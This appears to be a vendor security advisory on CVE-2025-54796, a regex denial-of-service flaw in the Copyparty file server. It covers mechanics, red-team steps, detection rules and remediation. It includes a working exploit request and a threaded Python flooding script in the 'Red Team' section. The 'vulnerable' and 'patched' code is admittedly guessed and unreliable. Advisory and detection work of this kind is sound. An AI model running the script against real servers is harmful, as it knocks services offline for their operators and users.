CVE-2025-54796

Executive Summary

CVE-2025-54796 is a high-severity (CVSS 7.5) denial-of-service vulnerability affecting Copyparty, a portable file server. The flaw resides in the filter parameter for the "Recent Uploads" page, which allows arbitrary regular expressions. An unauthenticated attacker can craft a malicious regex that causes catastrophic backtracking, effectively deadlocking the server and making it unresponsive. This vulnerability is trivial to exploit remotely without authentication, and while no public proof-of-concept code exists, the attack vector is well-understood in the security community. The vendor has released version 1.18.9 to address the issue.

Supply Chain & Package Security

Copyparty is a Python-based application distributed via PyPI. Users who install Copyparty via pip are directly affected. The vulnerability is not in a dependency but in the core application logic. Organizations should verify their installed version and update immediately.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete denial of service.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and results in a complete server crash or hang.

Deep Dive & Mechanics

The "Recent Uploads" page in Copyparty allows users to filter displayed files using a regular expression. The filter parameter is passed directly to Python's re module without sanitization or timeout. An attacker can submit a regex that exhibits catastrophic backtracking, such as (a+)+b tested against a string like "aaaaac". This causes the regex engine to explore an exponential number of paths, consuming 100% CPU and blocking the server thread indefinitely.

The vulnerable code path likely resembles:

import re
filter_regex = request.args.get('filter', '')
# No timeout or validation
matching_files = [f for f in recent_uploads if re.search(filter_regex, f)]

The fix in version 1.18.9 likely introduces a timeout or limits the regex complexity, e.g., using re.match with a timeout or rejecting certain patterns.

Vulnerable vs. Patched Code

Vulnerable (pre-1.18.9):

# No input validation or timeout
user_filter = request.args.get('filter', '')
try:
    pattern = re.compile(user_filter)
    results = [f for f in files if pattern.search(f)]
except re.error:
    results = files

Patched (1.18.9):

import signal
# Implement a timeout for regex execution
class TimeoutError(Exception):
    pass

def handler(signum, frame):
    raise TimeoutError("Regex timeout")

user_filter = request.args.get('filter', '')
# Reject known dangerous patterns
if re.match(r'^\(.*\)\+', user_filter):
    results = files  # fallback
else:
    signal.signal(signal.SIGALRM, handler)
    signal.alarm(1)  # 1 second timeout
    try:
        pattern = re.compile(user_filter)
        results = [f for f in files if pattern.search(f)]
    except (re.error, TimeoutError):
        results = files
    finally:
        signal.alarm(0)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Copyparty server version < 1.18.9 with "Recent Uploads" feature enabled (default).
• Network access to the server.

Exploitation Steps:

1. Identify the "Recent Uploads" endpoint, typically /recent?filter=.
2. Send a crafted request with a catastrophic regex:

   GET /recent?filter=(a%2B)%2Bb HTTP/1.1
   Host: target:port
   

   (URL-encoded (a+)+b)
3. The server will hang, consuming 100% CPU on a single core. Repeated requests can exhaust all cores.

Automation Script (Python):

import requests
import threading

target = "http://target:port/recent?filter=(a%2B)%2Bb"

def dos():
    while True:
        try:
            requests.get(target, timeout=5)
        except:
            pass

for _ in range(10):
    threading.Thread(target=dos).start()

Blue Team

Detection:

• Monitor for HTTP requests to /recent with long or suspicious filter parameters.
• Look for patterns like (a+)+b, (x+)+y, or other nested quantifiers.
• Alert on high CPU usage on the Copyparty server process.

Mitigation:

• Immediately upgrade to version 1.18.9.
• If patching is not possible, disable the "Recent Uploads" feature or restrict access via firewall.
• Implement a WAF rule to block regex patterns with nested quantifiers.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /recent?filter= containing patterns like (a+)+b, (x+)+y, or similar.
• System: High CPU usage by the Copyparty process (python or copyparty).
• Logs: Server logs showing repeated requests to /recent with unusual filter parameters.
• File: No file-based IOCs; this is a memory/CPU exhaustion attack.

Detection Engineering

YARA Rule

rule CVE_2025_54796_Regex_DoS {
    meta:
        description = "Detects malicious regex patterns targeting Copyparty Recent Uploads filter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54796"
    strings:
        $pattern1 = /\([a-zA-Z0-9]+\+\)\+[a-zA-Z0-9]+/
        $pattern2 = /\([a-zA-Z0-9]+\+\)\*[a-zA-Z0-9]+/
        $pattern3 = /\([a-zA-Z0-9]+\+\)\{/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-54796 Copyparty Regex DoS Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to Copyparty Recent Uploads with malicious regex patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: 
            - "filter=(a%2B)%2Bb"
            - "filter=(x%2B)%2By"
            - "filter=(%5Cw%2B)%2B%5Cw"
    condition: selection
falsepositives:
    - Legitimate complex regex usage (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54796 Copyparty Regex DoS Attempt"; flow:to_server; content:"/recent"; http_uri; content:"filter="; http_uri; pcre:"/\([a-zA-Z0-9]\+\)\+[a-zA-Z0-9]+/Ri"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Copyparty to version 1.18.9 or later.
2. If upgrade is not possible, disable the "Recent Uploads" feature by setting --no-recent or equivalent configuration.
3. Restrict access to the /recent endpoint using a reverse proxy or firewall.

Long-term:

• Implement input validation for regex patterns, rejecting those with nested quantifiers.
• Use a regex timeout mechanism (e.g., signal.alarm or threading.Timer).
• Monitor for similar vulnerabilities in other file server applications.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable logging of all HTTP requests and monitor for anomalous patterns.

Valters IT